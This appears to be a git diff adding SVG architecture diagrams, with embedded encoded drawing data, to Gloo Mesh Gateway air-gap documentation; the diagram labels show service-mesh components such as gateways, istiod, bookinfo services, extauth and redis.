1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcdTAwMTRTXGKgXHUwMDE2K+VwXHUwMDE0sTzWflJcdTAwMWJcYueAWqiKb2ZDuFx1MDAwNf+lMlx1MDAxYpZo9Vx1MDAxZGU2hKRcdTAwMWNxojEjfFx1MDAwNav0Pd99S1x1MDAxZGY0te+ei7fv+uXh6nStSjOfXHUwMDA3TIRajDuQ22PJbcdcdTAwMWSAlFx1MDAxNFx1MDAxNNNcdTAwMWTWktxcdTAwMDSZPLzf9PB1rXN/cjvovmfsVIJcdTAwMTTszZHJjob9aoDn7YipciFLKb3rv5zcVOlx/lxybWHcrS/vMsDj/8B9XHUwMDAyk1x1MDAxMFx1MDAxOVxiRrp5noxcdTAwMWXPXHUwMDEwvp4xXHUwMDA1JkLPf/9cdTAwMTXMwFxc5tneg1x1MDAxOUzMvFSE0fiGM+xcdTAwMDCK7CNbYolcdTAwMGXfQbZcdTAwMDRcdTAwMGLug2bOXHUwMDFmTdnWyNxnV3D68bWGqvYh6T8+Plx1MDAxZbXFw2W8XHUwMDExiGKLmVx1MDAxMjS2XGJEm1wixkTq3Vx1MDAxNYPZqOfFRHZHWTI6Stdxlz/xgpqO6psjha817K5wwtanu1xmJ/g/cI84gfKQsi/wPKZXSaxcZl/PmOJcdTAwMDTF3ThBabRXnODNkuBcdTAwMThLRHZYrSqGMGFcdTAwMWZJXHUwMDEyS1x1MDAxNO1cdTAwMGWSJGhcdTAwMThKJ1x1MDAwNCnMouOE/pBcZif49vrptj654+Pi0W3mKlx